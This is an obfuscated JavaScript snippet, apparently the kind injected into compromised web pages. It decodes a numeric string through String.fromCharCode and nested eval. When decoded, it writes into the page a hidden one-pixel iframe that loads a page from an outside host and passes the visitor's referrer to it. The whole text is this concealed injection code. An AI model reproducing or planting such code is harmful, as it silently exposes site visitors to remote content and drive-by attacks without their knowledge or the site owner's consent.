s="297352336351342349353269345334347340354334340338298311334355334320336351342349353299269337348336354346338347353283356351342353338277271297342339351334346338269352351336298276341353353349295284284334335336342347339348341338345349283336348346284334337355342352348351282346348337354345338352284342339351334346338332336348354347353338351300334336336348354347353298344355353343293288275351338339298271280353348349283337348336354346338347353283351338339338351351338351280271276269356342337353341298286269341338342340341353298286269352336351348345345342347340298276347348276269347348351338352342359338299297284342339351334346338299271278296269297284352336351342349353299269";k="f=String.fromCharCode(32,118,97,114,32,32,32,111,32,32,32,61,32,32,39,39,32,32,32,59,32,102,117,110,99,116,105,111,110,32,100,32,40,32,32,32,41,32,123,32,105,32,61,32,32,32,48,32,59,32,32,32,99,32,32,61,32,48,32,59,32,32,32,119,104,105,108,101,32,32,32,40,32,32,32,105,32,32,32,60,32,32,115,46,108,101,110,103,116,104,32,32,41,32,32,32,123,32,32,99,32,32,61,32,32,77,97,116,104,46,114,111,117,110,100,32,32,40,32,32,115,46,99,104,97,114,65,116,40,32,32,105,32,41,32,32,43,32,32,32,115,46,99,104,97,114,65,116,40,32,105,32,32,32,43,32,49,32,32,41,32,43,32,32,32,115,46,99,104,97,114,65,116,40,32,32,32,105,32,43,32,32,50,32,32,41,32,32,41,32,32,45,32,50,51,55,59,32,105,32,32,61,32,32,105,32,32,32,43,32,32,32,51,32,32,59,32,32,111,43,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,32,99,32,41,32,59,32,32,32,125,32,32,32,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,32,32,111,32,32,41,32,32,32,125,32,32,32,100,40,32,32,41,59);";eval(eval(k));